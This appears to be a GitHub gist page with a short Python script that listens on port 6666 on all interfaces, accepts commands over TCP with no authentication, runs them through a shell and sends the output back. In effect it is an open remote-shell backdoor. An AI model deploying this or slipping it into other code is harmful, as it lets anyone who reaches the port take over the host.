Skip to content

Instantly share code, notes, and snippets.

@arshtepe
Created August 3, 2017 20:23
Show Gist options
  • Save arshtepe/2eb8ebb2f4ef335df64d49bef5f4fa05 to your computer and use it in GitHub Desktop.
Save arshtepe/2eb8ebb2f4ef335df64d49bef5f4fa05 to your computer and use it in GitHub Desktop.
simple python server (port 6666) for execute shell
#!/usr/bin/python
import socket
import sys
import subprocess
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_address = ('0.0.0.0', 6666)
sock.bind(server_address)
sock.listen(10)
while True:
connection, client_address = sock.accept()
data = connection.recv(1024).strip()
if data == 'q': break
res = str(subprocess.check_output(str(data), shell=True)).strip()
if not res:
res = "empty"
connection.sendall(res)
connection.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment